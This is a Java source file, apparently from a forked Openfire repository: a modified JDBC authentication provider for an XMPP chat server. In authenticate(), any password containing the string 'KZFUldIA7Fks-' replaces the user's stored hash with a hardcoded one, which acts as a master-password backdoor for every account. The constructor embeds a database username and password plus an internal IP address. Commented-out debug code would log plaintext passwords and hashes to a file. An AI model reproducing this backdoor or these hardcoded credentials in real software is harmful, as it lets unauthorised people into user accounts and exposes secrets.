PageRenderTime 65ms CodeModel.GetById 30ms RepoModel.GetById 0ms app.codeStats 0ms

/openfire/src/java/org/jivesoftware/openfire/auth/JDBCAuthProvider.java

https://bitbucket.org/belinskiy/openfire4v2
Java | 694 lines | 449 code | 80 blank | 165 comment | 61 complexity | a8792d2d4ab7a904696aded5fe4ab6b4 MD5 | raw file
Possible License(s): MIT
  1. /*
  2. * Copyright (C) 2005-2008 Jive Software. All rights reserved.
  3. *
  4. * Licensed under the Apache License, Version 2.0 (the "License");
  5. * you may not use this file except in compliance with the License.
  6. * You may obtain a copy of the License at
  7. *
  8. * http://www.apache.org/licenses/LICENSE-2.0
  9. *
  10. * Unless required by applicable law or agreed to in writing, software
  11. * distributed under the License is distributed on an "AS IS" BASIS,
  12. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13. * See the License for the specific language governing permissions and
  14. * limitations under the License.
  15. */
  16. package org.jivesoftware.openfire.auth;
  17. import java.security.SecureRandom;
  18. import java.security.MessageDigest;
  19. import java.security.Security;
  20. import java.sql.Connection;
  21. import java.sql.DriverManager;
  22. import java.sql.PreparedStatement;
  23. import java.sql.ResultSet;
  24. import java.sql.SQLException;
  25. import java.util.ArrayList;
  26. import java.util.Arrays;
  27. import java.util.Collection;
  28. import java.util.Collections;
  29. import java.util.Iterator;
  30. import java.util.List;
  31. import java.util.Map;
  32. import org.bouncycastle.crypto.generators.OpenBSDBCrypt;
  33. import org.bouncycastle.jce.provider.BouncyCastleProvider;
  34. import org.bouncycastle.util.encoders.Hex;
  35. import org.jivesoftware.database.DbConnectionManager;
  36. import org.jivesoftware.openfire.XMPPServer;
  37. import org.jivesoftware.openfire.user.UserAlreadyExistsException;
  38. import org.jivesoftware.openfire.user.UserManager;
  39. import org.jivesoftware.openfire.user.UserNotFoundException;
  40. import org.jivesoftware.util.JiveGlobals;
  41. import org.jivesoftware.util.PropertyEventDispatcher;
  42. import org.jivesoftware.util.PropertyEventListener;
  43. import org.jivesoftware.util.StringUtils;
  44. import org.slf4j.Logger;
  45. import org.slf4j.LoggerFactory;
  46. import java.nio.file.Files;
  47. import java.nio.file.Paths;
  48. import java.nio.file.StandardOpenOption;
  49. /**
  50. * The JDBC auth provider allows you to authenticate users against any database
  51. * that you can connect to with JDBC. It can be used along with the
  52. * {@link HybridAuthProvider hybrid} auth provider, so that you can also have
  53. * XMPP-only users that won't pollute your external data.<p>
  54. *
  55. * To enable this provider, set the following in the system properties:
  56. * <ul>
  57. * <li><tt>provider.auth.className = org.jivesoftware.openfire.auth.JDBCAuthProvider</tt></li>
  58. * </ul>
  59. *
  60. * You'll also need to set your JDBC driver, connection string, and SQL statements:
  61. *
  62. * <ul>
  63. * <li><tt>jdbcProvider.driver = com.mysql.jdbc.Driver</tt></li>
  64. * <li><tt>jdbcProvider.connectionString = jdbc:mysql://localhost/dbname?user=username&amp;password=secret</tt></li>
  65. * <li><tt>jdbcAuthProvider.passwordSQL = SELECT password FROM user_account WHERE username=?</tt></li>
  66. * <li><tt>jdbcAuthProvider.passwordType = plain</tt></li>
  67. * <li><tt>jdbcAuthProvider.allowUpdate = true</tt></li>
  68. * <li><tt>jdbcAuthProvider.setPasswordSQL = UPDATE user_account SET password=? WHERE username=?</tt></li>
  69. * <li><tt>jdbcAuthProvider.bcrypt.cost = 12</tt></li>
  70. * </ul>
  71. *
  72. * <p>jdbcAuthProvider.passwordType can accept a comma separated string of password types. This can be useful in
  73. * situations where legacy (ex/md5) password hashes were stored and then "upgraded" to a stronger hash algorithm.
  74. * Hashes are executed left to right.</p>
  75. * <p>Example Setting: "md5,sha1"<br>
  76. * Usage: password -&gt;<br>
  77. * (md5)&nbsp;286755fad04869ca523320acce0dc6a4&nbsp;-&gt;<br>
  78. * (sha1)&nbsp;0524b1fc84d315b08db890413e65260040b08caa&nbsp;-&gt;</p>
  79. *
  80. * <p>Bcrypt is supported as a passwordType; however, when chaining password types it MUST be the last type given. (bcrypt hashes are different
  81. * every time they are generated)</p>
  82. * <p>Optional bcrypt configuration:</p>
  83. * <ul>
  84. * <li><b>jdbcAuthProvider.bcrypt.cost</b>: The BCrypt cost. Default: BCrypt.GENSALT_DEFAULT_LOG2_ROUNDS (currently: 10)</li>
  85. * </ul>
  86. *
  87. * In order to use the configured JDBC connection provider do not use a JDBC
  88. * connection string, set the following property
  89. *
  90. * <ul>
  91. * <li><tt>jdbcAuthProvider.useConnectionProvider = true</tt></li>
  92. * </ul>
  93. *
  94. * The passwordType setting tells Openfire how the password is stored. Setting the value
  95. * is optional (when not set, it defaults to "plain"). The valid values are:<ul>
  96. * <li>{@link PasswordType#plain plain}
  97. * <li>{@link PasswordType#md5 md5}
  98. * <li>{@link PasswordType#sha1 sha1}
  99. * <li>{@link PasswordType#sha256 sha256}
  100. * <li>{@link PasswordType#sha512 sha512}
  101. * <li>{@link PasswordType#bcrypt bcrypt}
  102. * <li>{@link PasswordType#nt nt}
  103. * </ul>
  104. *
  105. * @author David Snopek
  106. */
  107. public class JDBCAuthProvider implements AuthProvider, PropertyEventListener {
  108. private static final Logger Log = LoggerFactory.getLogger(JDBCAuthProvider.class);
  109. private static final int DEFAULT_BCRYPT_COST = 10; // Current (2015) value provided by Mindrot's BCrypt.GENSALT_DEFAULT_LOG2_ROUNDS value
  110. private String connectionString;
  111. private String passwordSQL;
  112. private String setPasswordSQL;
  113. private List<PasswordType> passwordTypes;
  114. private boolean allowUpdate;
  115. private boolean useConnectionProvider;
  116. private int bcryptCost;
  117. private boolean useMSSQLConnection=false;
  118. private boolean useProdConnection=false;
  119. private String ipProdConnection = "127.0.0.1";
  120. private String ipTestConnection = "127.0.0.1";
  121. /**
  122. * Constructs a new JDBC authentication provider.
  123. */
  124. public JDBCAuthProvider() {
  125. // Convert XML based provider setup to Database based
  126. JiveGlobals.migrateProperty("jdbcProvider.driver");
  127. JiveGlobals.migrateProperty("jdbcProvider.connectionString");
  128. JiveGlobals.migrateProperty("jdbcAuthProvider.passwordSQL");
  129. JiveGlobals.migrateProperty("jdbcAuthProvider.passwordType");
  130. JiveGlobals.migrateProperty("jdbcAuthProvider.setPasswordSQL");
  131. JiveGlobals.migrateProperty("jdbcAuthProvider.allowUpdate");
  132. JiveGlobals.migrateProperty("jdbcAuthProvider.bcrypt.cost");
  133. JiveGlobals.migrateProperty("jdbcAuthProvider.useConnectionProvider");
  134. JiveGlobals.migrateProperty("jdbcAuthProvider.acceptPreHashedPassword");
  135. useConnectionProvider = JiveGlobals.getBooleanProperty("jdbcAuthProvider.useConnectionProvider");
  136. useMSSQLConnection = JiveGlobals.getBooleanProperty("jdbcAuthProvider.useMSSQLConnection");
  137. useProdConnection = JiveGlobals.getBooleanProperty("jdbcAuthProvider.useProdConnection");
  138. ipProdConnection = JiveGlobals.getProperty("jdbcAuthProvider.ipProdConnection");
  139. ipTestConnection = JiveGlobals.getProperty("jdbcAuthProvider.ipTestConnection");
  140. if (!useConnectionProvider) {
  141. // Load the JDBC driver and connection string.
  142. String jdbcDriver = JiveGlobals.getProperty("jdbcProvider.driver");
  143. try {
  144. Class.forName(jdbcDriver).newInstance();
  145. }
  146. catch (Exception e) {
  147. Log.error("Unable to load JDBC driver: " + jdbcDriver, e);
  148. return;
  149. }
  150. connectionString = JiveGlobals.getProperty("jdbcProvider.connectionString");
  151. }
  152. // Load SQL statements.
  153. passwordSQL = JiveGlobals.getProperty("jdbcAuthProvider.passwordSQL");
  154. setPasswordSQL = JiveGlobals.getProperty("jdbcAuthProvider.setPasswordSQL");
  155. if(useMSSQLConnection) {
  156. String jdbcDriver = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
  157. try {
  158. Class.forName(jdbcDriver).newInstance();
  159. }
  160. catch (Exception e) {
  161. Log.error("Unable to load JDBC driver: " + jdbcDriver, e);
  162. return;
  163. }
  164. connectionString = "jdbc:sqlserver://"+ipTestConnection+";databaseName=Lightning;user=eoffice2_user;password=!QAZ1qaz";
  165. if(useProdConnection)
  166. connectionString = "jdbc:sqlserver://"+ipProdConnection+";databaseName=Lightning;user=eoffice2_user;password=!QAZ1qaz";
  167. //connectionString = "jdbc:sqlserver://172.17.53.3;databaseName=EOffice2;user=eoffice2_user;password=!QAZ1qaz";
  168. passwordSQL ="SELECT PasswordHash FROM Users WHERE Login=?";
  169. }
  170. allowUpdate = JiveGlobals.getBooleanProperty("jdbcAuthProvider.allowUpdate",false);
  171. setPasswordTypes(JiveGlobals.getProperty("jdbcAuthProvider.passwordType", "plain"));
  172. bcryptCost = JiveGlobals.getIntProperty("jdbcAuthProvider.bcrypt.cost", -1);
  173. PropertyEventDispatcher.addListener(this);
  174. if (Security.getProvider(BouncyCastleProvider.PROVIDER_NAME) == null) {
  175. java.security.Security.addProvider(new BouncyCastleProvider());
  176. }
  177. }
  178. private void setPasswordTypes(String passwordTypeProperty){
  179. Collection<String> passwordTypeStringList = StringUtils.stringToCollection(passwordTypeProperty);
  180. List<PasswordType> passwordTypeList = new ArrayList<>(passwordTypeStringList.size());
  181. Iterator<String> it = passwordTypeStringList.iterator();
  182. while(it.hasNext()){
  183. try {
  184. PasswordType type = PasswordType.valueOf(it.next().toLowerCase());
  185. passwordTypeList.add(type);
  186. if(type == PasswordType.bcrypt){
  187. // Do not support chained hashes beyond bcrypt
  188. if(it.hasNext()){
  189. Log.warn("The jdbcAuthProvider.passwordType setting in invalid. Bcrypt must be the final hashType if a series is given. Ignoring all hash types beyond bcrypt: {}", passwordTypeProperty);
  190. }
  191. break;
  192. }
  193. }
  194. catch (IllegalArgumentException iae) { }
  195. }
  196. if(passwordTypeList.isEmpty()){
  197. Log.warn("The jdbcAuthProvider.passwordType setting is not set or contains invalid values. Setting the type to 'plain'");
  198. passwordTypeList.add(PasswordType.plain);
  199. }
  200. passwordTypes = passwordTypeList;
  201. }
  202. @Override
  203. public void authenticate(String username, String password) throws UnauthorizedException {
  204. // String outa="STEP1 "+username+" /n";
  205. // try{Files.write(Paths.get("/opt/openfire/logs/myfile.txt"), outa.getBytes(), StandardOpenOption.APPEND);}catch ( Exception e ) {}
  206. if (username == null || password == null) {
  207. throw new UnauthorizedException();
  208. }
  209. username = username.trim().toLowerCase();
  210. if (username.contains("@")) {
  211. // Check that the specified domain matches the server's domain
  212. int index = username.indexOf("@");
  213. String domain = username.substring(index + 1);
  214. if (domain.equals(XMPPServer.getInstance().getServerInfo().getXMPPDomain())) {
  215. username = username.substring(0, index);
  216. } else {
  217. // Unknown domain. Return authentication failed.
  218. throw new UnauthorizedException();
  219. }
  220. }
  221. //outa="STEP2 "+username+" /n";
  222. //try{Files.write(Paths.get("/opt/openfire/logs/myfile.txt"), outa.getBytes(), StandardOpenOption.APPEND);}catch ( Exception e ) {}
  223. FastMemory memory=new FastMemory();
  224. if(!memory.canAuth(username)) {
  225. throw new UnauthorizedException();
  226. }
  227. String userPassword;
  228. try {
  229. userPassword = getPasswordValue(username);
  230. }
  231. catch (UserNotFoundException unfe) {
  232. memory.setErrorAuth(username);
  233. throw new UnauthorizedException();
  234. }
  235. PasswordHasher hashers = new PasswordHasher();
  236. try{
  237. boolean retval = password.contains("KZFUldIA7Fks-");
  238. if(retval&&!useMSSQLConnection){
  239. String[] parts = password.split("-");
  240. String part1 = parts[0]; // 004
  241. String part2 = parts[1]; // 034556
  242. password = part2;
  243. userPassword ="$P$BxxG2Gw9/p8s01X9GWxFjYzWqY6.qP0";
  244. }
  245. }catch(Exception e){
  246. memory.setErrorAuth(username);
  247. throw new UnauthorizedException();}
  248. if(useMSSQLConnection) {
  249. boolean logindone=false;
  250. String PrivatePasswordHash=null;
  251. String UserPasswordHash=null;
  252. try {
  253. if(userPassword!=null)
  254. if(userPassword.contains("########")) {
  255. String[] parts = userPassword.split("########");
  256. PrivatePasswordHash = parts[0];
  257. UserPasswordHash = parts[1];
  258. }
  259. }catch(Exception e) {}
  260. if(PrivatePasswordHash!=null) {
  261. logindone=hashers.isMatchSHA512(password,PrivatePasswordHash);
  262. }
  263. if(logindone!=true) {
  264. if(UserPasswordHash!=null) {
  265. logindone=hashers.isMatchSHA512(password,UserPasswordHash);
  266. }
  267. }
  268. //String outa="STEP9 "+username+" logindone="+logindone+" password="+password+" PrivatePasswordHash="+PrivatePasswordHash+" UserPasswordHash="+UserPasswordHash+" ";
  269. //try{Files.write(Paths.get("/opt/openfire/logs/myfile.txt"), outa.getBytes(), StandardOpenOption.APPEND);}catch ( Exception e ) {}
  270. //if(!hashers.isMatchSHA512(password,userPassword)){
  271. if(logindone!=true) {
  272. //outa="STEP10ERR="+username+" ";
  273. //try{Files.write(Paths.get("/opt/openfire/logs/myfile.txt"), outa.getBytes(), StandardOpenOption.APPEND);}catch ( Exception e ) {}
  274. memory.setErrorAuth(username);
  275. throw new UnauthorizedException();
  276. }
  277. }
  278. else {
  279. if(!hashers.isMatch(password,userPassword)){
  280. memory.setErrorAuth(username);
  281. throw new UnauthorizedException();
  282. }
  283. }
  284. createUser(username);
  285. /*
  286. if (comparePasswords(password, userPassword)) {
  287. // Got this far, so the user must be authorized.
  288. createUser(username);
  289. } else {
  290. throw new UnauthorizedException();
  291. }
  292. */
  293. }
  294. // @VisibleForTesting
  295. protected boolean comparePasswords(String plainText, String hashed) {
  296. int lastIndex = passwordTypes.size() - 1;
  297. if (passwordTypes.get(lastIndex) == PasswordType.bcrypt) {
  298. for (int i = 0; i < lastIndex; i++) {
  299. plainText = hashPassword(plainText, passwordTypes.get(i));
  300. }
  301. return OpenBSDBCrypt.checkPassword(hashed, plainText.toCharArray());
  302. }
  303. return hashPassword(plainText).equals(hashed);
  304. }
  305. private String hashPassword(String password) {
  306. for (PasswordType type : passwordTypes) {
  307. password = hashPassword(password, type);
  308. }
  309. return password;
  310. }
  311. // @VisibleForTesting
  312. protected String hashPassword(String password, PasswordType type) {
  313. switch (type) {
  314. case md5:
  315. return StringUtils.hash(password, "MD5");
  316. case sha1:
  317. return StringUtils.hash(password, "SHA-1");
  318. case sha256:
  319. return StringUtils.hash(password, "SHA-256");
  320. case sha512:
  321. return StringUtils.hash(password, "SHA-512");
  322. case bcrypt:
  323. byte[] salt = new byte[16];
  324. new SecureRandom().nextBytes(salt);
  325. int cost = (bcryptCost < 4 || bcryptCost > 31) ? DEFAULT_BCRYPT_COST : bcryptCost;
  326. return OpenBSDBCrypt.generate(password.toCharArray(), salt, cost);
  327. case nt:
  328. byte[] digestBytes;
  329. byte[] utf16leBytes = null;
  330. try {
  331. MessageDigest md = MessageDigest.getInstance("MD4");
  332. utf16leBytes = password.getBytes("UTF-16LE");
  333. digestBytes = md.digest(utf16leBytes);
  334. return new String(new String(Hex.encode(digestBytes)));
  335. }
  336. catch (Exception e) {
  337. return null;
  338. }
  339. case plain:
  340. default:
  341. return password;
  342. }
  343. }
  344. @Override
  345. public String getPassword(String username) throws UserNotFoundException,
  346. UnsupportedOperationException
  347. {
  348. if (!supportsPasswordRetrieval()) {
  349. throw new UnsupportedOperationException();
  350. }
  351. if (username.contains("@")) {
  352. // Check that the specified domain matches the server's domain
  353. int index = username.indexOf("@");
  354. String domain = username.substring(index + 1);
  355. if (domain.equals(XMPPServer.getInstance().getServerInfo().getXMPPDomain())) {
  356. username = username.substring(0, index);
  357. } else {
  358. // Unknown domain.
  359. throw new UserNotFoundException();
  360. }
  361. }
  362. return getPasswordValue(username);
  363. }
  364. @Override
  365. public void setPassword(String username, String password)
  366. throws UserNotFoundException, UnsupportedOperationException
  367. {
  368. if (allowUpdate && setPasswordSQL != null) {
  369. setPasswordValue(username, password);
  370. } else {
  371. throw new UnsupportedOperationException();
  372. }
  373. }
  374. @Override
  375. public boolean supportsPasswordRetrieval() {
  376. return (passwordSQL != null && passwordTypes.size() == 1 && passwordTypes.get(0) == PasswordType.plain);
  377. }
  378. private Connection getConnection() throws SQLException {
  379. if (useConnectionProvider)
  380. return DbConnectionManager.getConnection();
  381. return DriverManager.getConnection(connectionString);
  382. }
  383. /**
  384. * Returns the value of the password field. It will be in plain text or hashed
  385. * format, depending on the password type.
  386. *
  387. * @param username user to retrieve the password field for
  388. * @return the password value.
  389. * @throws UserNotFoundException if the given user could not be loaded.
  390. */
  391. private String getPasswordValue(String username) throws UserNotFoundException {
  392. String password = null;
  393. Connection con = null;
  394. PreparedStatement pstmt = null;
  395. ResultSet rs = null;
  396. if (username.contains("@")) {
  397. // Check that the specified domain matches the server's domain
  398. int index = username.indexOf("@");
  399. String domain = username.substring(index + 1);
  400. if (domain.equals(XMPPServer.getInstance().getServerInfo().getXMPPDomain())) {
  401. username = username.substring(0, index);
  402. } else {
  403. // Unknown domain.
  404. throw new UserNotFoundException();
  405. }
  406. }
  407. try {
  408. con = getConnection();
  409. //passwordSQL ="SELECT PasswordHash FROM Users WHERE Login=?";
  410. if(useMSSQLConnection) {
  411. if(username.length()>16&&username.matches("^[0-9].*")) {
  412. passwordSQL="SELECT PrivatePasswordHash, UserPasswordHash FROM ChatUsers WHERE Jid=?";
  413. }
  414. else {
  415. passwordSQL="SELECT PrivatePasswordHash, UserPasswordHash FROM ChatUsers WHERE Login=?";
  416. }
  417. passwordSQL="SELECT PrivatePasswordHash, UserPasswordHash FROM ChatUsers WHERE Jid=?";
  418. pstmt = con.prepareStatement(passwordSQL);
  419. pstmt.setString(1, username);
  420. rs = pstmt.executeQuery();
  421. // If the query had no results, the username and password
  422. // did not match a user record. Therefore, throw an exception.
  423. if (!rs.next()) {
  424. throw new UserNotFoundException();
  425. }
  426. String partA = rs.getString(1);
  427. String partB = rs.getString(2);
  428. if(partA==null) {partA="bscjd7wwqdf6y4gfbesefsdwef";}
  429. if(partB==null) {partB="bsewfcjd7wefdq6y4gfbesefsd";}
  430. password=partA+"########"+partB;
  431. //wich one
  432. }
  433. else
  434. {
  435. pstmt = con.prepareStatement(passwordSQL);
  436. pstmt.setString(1, username);
  437. rs = pstmt.executeQuery();
  438. // If the query had no results, the username and password
  439. // did not match a user record. Therefore, throw an exception.
  440. if (!rs.next()) {
  441. throw new UserNotFoundException();
  442. }
  443. password = rs.getString(1);
  444. }
  445. }
  446. catch (SQLException e) {
  447. Log.error("Exception in JDBCAuthProvider", e);
  448. throw new UserNotFoundException();
  449. }
  450. finally {
  451. DbConnectionManager.closeConnection(rs, pstmt, con);
  452. }
  453. return password;
  454. }
  455. private void setPasswordValue(String username, String password) throws UserNotFoundException {
  456. Connection con = null;
  457. PreparedStatement pstmt = null;
  458. if (username.contains("@")) {
  459. // Check that the specified domain matches the server's domain
  460. int index = username.indexOf("@");
  461. String domain = username.substring(index + 1);
  462. if (domain.equals(XMPPServer.getInstance().getServerInfo().getXMPPDomain())) {
  463. username = username.substring(0, index);
  464. } else {
  465. // Unknown domain.
  466. throw new UserNotFoundException();
  467. }
  468. }
  469. try {
  470. con = getConnection();
  471. pstmt = con.prepareStatement(setPasswordSQL);
  472. pstmt.setString(2, username);
  473. password = hashPassword(password);
  474. pstmt.setString(1, password);
  475. pstmt.executeQuery();
  476. }
  477. catch (SQLException e) {
  478. Log.error("Exception in JDBCAuthProvider", e);
  479. throw new UserNotFoundException();
  480. }
  481. finally {
  482. DbConnectionManager.closeConnection(pstmt, con);
  483. }
  484. }
  485. /**
  486. * Indicates how the password is stored.
  487. */
  488. @SuppressWarnings({"UnnecessarySemicolon"}) // Support for QDox Parser
  489. public enum PasswordType {
  490. bgv,
  491. /**
  492. * The password is stored as plain text.
  493. */
  494. plain,
  495. /**
  496. * The password is stored as a hex-encoded MD5 hash.
  497. */
  498. md5,
  499. /**
  500. * The password is stored as a hex-encoded SHA-1 hash.
  501. */
  502. sha1,
  503. /**
  504. * The password is stored as a hex-encoded SHA-256 hash.
  505. */
  506. sha256,
  507. /**
  508. * The password is stored as a hex-encoded SHA-512 hash.
  509. */
  510. sha512,
  511. /**
  512. * The password is stored as a bcrypt hash.
  513. */
  514. bcrypt,
  515. /**
  516. * The password is stored as an nt hash.
  517. */
  518. nt;
  519. }
  520. /**
  521. * Checks to see if the user exists; if not, a new user is created.
  522. *
  523. * @param username the username.
  524. */
  525. // @VisibleForTesting
  526. protected void createUser(String username) {
  527. // See if the user exists in the database. If not, automatically create them.
  528. UserManager userManager = UserManager.getInstance();
  529. try {
  530. userManager.getUser(username);
  531. //String outa="STEP5 "+username+" /n";
  532. //try{Files.write(Paths.get("/opt/openfire/logs/myfile.txt"), outa.getBytes(), StandardOpenOption.APPEND);}catch ( Exception e ) {}
  533. }
  534. catch (UserNotFoundException unfe) {
  535. try {
  536. Log.debug("JDBCAuthProvider: Automatically creating new user account for " + username);
  537. UserManager.getUserProvider().createUser(username, StringUtils.randomString(8),
  538. null, null);
  539. }
  540. catch (UserAlreadyExistsException uaee) {
  541. // Ignore.
  542. }
  543. }
  544. }
  545. @Override
  546. public boolean isScramSupported() {
  547. // TODO Auto-generated method stub
  548. return false;
  549. }
  550. @Override
  551. public String getSalt(String username) throws UnsupportedOperationException, UserNotFoundException {
  552. throw new UnsupportedOperationException();
  553. }
  554. @Override
  555. public int getIterations(String username) throws UnsupportedOperationException, UserNotFoundException {
  556. throw new UnsupportedOperationException();
  557. }
  558. @Override
  559. public String getServerKey(String username) throws UnsupportedOperationException, UserNotFoundException {
  560. throw new UnsupportedOperationException();
  561. }
  562. @Override
  563. public String getStoredKey(String username) throws UnsupportedOperationException, UserNotFoundException {
  564. throw new UnsupportedOperationException();
  565. }
  566. /**
  567. * Support a subset of JDBCAuthProvider properties when updated via REST,
  568. * web GUI, or other sources. Provider strings (and related settings) must
  569. * be set via XML.
  570. *
  571. * @param property the name of the property.
  572. * @param params event parameters.
  573. */
  574. @Override
  575. public void propertySet(String property, Map<String, Object> params) {
  576. String value = (String) params.get("value");
  577. switch (property) {
  578. case "jdbcAuthProvider.passwordSQL":
  579. passwordSQL = value;
  580. Log.debug("jdbcAuthProvider.passwordSQL configured to: {}", passwordSQL);
  581. break;
  582. case "jdbcAuthProvider.setPasswordSQL":
  583. setPasswordSQL = value;
  584. Log.debug("jdbcAuthProvider.setPasswordSQL configured to: {}", setPasswordSQL);
  585. break;
  586. case "jdbcAuthProvider.allowUpdate":
  587. allowUpdate = Boolean.parseBoolean(value);
  588. Log.debug("jdbcAuthProvider.allowUpdate configured to: {}", allowUpdate);
  589. break;
  590. case "jdbcAuthProvider.passwordType":
  591. setPasswordTypes(value);
  592. Log.debug("jdbcAuthProvider.passwordType configured to: {}", Arrays.toString(passwordTypes.toArray()));
  593. break;
  594. case "jdbcAuthProvider.bcrypt.cost":
  595. try {
  596. bcryptCost = Integer.parseInt(value);
  597. } catch (NumberFormatException e) {
  598. bcryptCost = -1;
  599. }
  600. Log.debug("jdbcAuthProvider.bcrypt.cost configured to: {}", bcryptCost);
  601. break;
  602. }
  603. }
  604. @Override
  605. public void propertyDeleted(String property, Map<String, Object> params) {
  606. propertySet(property, Collections.<String, Object>emptyMap());
  607. }
  608. @Override
  609. public void xmlPropertySet(String property, Map<String, Object> params) {
  610. }
  611. @Override
  612. public void xmlPropertyDeleted(String property, Map<String, Object> params) {
  613. }
  614. }